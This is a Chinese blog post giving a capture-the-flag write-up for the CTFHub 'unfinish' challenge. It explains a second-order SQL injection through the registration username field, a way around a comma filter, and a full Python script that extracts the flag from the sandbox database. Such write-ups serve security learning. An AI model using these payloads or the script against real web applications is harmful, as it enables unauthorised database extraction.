CTFHub-unfinish

unfinish

打开是一个手机模板的登录页面,看了下源码,发现有个文件夹./uploads/,乱扫一通什么都没有

还是到登陆页面,先试试万能密码

有提示,看了下input标签,是前端检测,用burp抓包开始fuzz

尝试了请求头,email和password注入,包括post数组尝试报错,都没有用

emmmmm,思路断了

去看了wp,发现是要尝试注册页面,接着做(思路太窄了

登陆进来什么都没有,只显示了用户名

而用户名是可控的,推测注册用户时会使用

insert into table value('$email','$username','$password')

尝试一下这里是不是二次注入(这里注入,登陆后可以看到结果

语句0' + ascii(substr(database(),1,1)) +'0被过滤

尝试了一遍,这里会检测逗号,用from 1 for 1代替掉逗号就行

0' + ascii(substr(database() from 1 for 1)) +'0

登录之后可以看到ascii码

之后写脚本跑就可以了

这里在写脚本之前测试了一下被ban掉的关键字,emmmm,information_schema被ban了,那么就爆不了表名,所以猜测表名为flag,测试了一下表名确实为flag,剩下的硬跑就可以了

注册页面:./register.php

登陆页面:./login.php

这里给出爆破的脚本(偷了个懒,没加结束检测,看到flag爆完手动ctrl + c

import requests
import re


register_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/register.php'
login_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/login.php'


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
    print(chr(int(code.group(1))), end='')


爆出flag

我的做题思路比较窄,比如这里的登陆页面联想到注册页面,还需要多做多看

这里的二次注入也不是很熟悉,我的理解有点僵硬,觉得只能是单次请求的两次查询,这种思想要改正

多肝,共勉

posted @ 2020-04-13 11:50  R3col  阅读(1174)  评论(2编辑  收藏  举报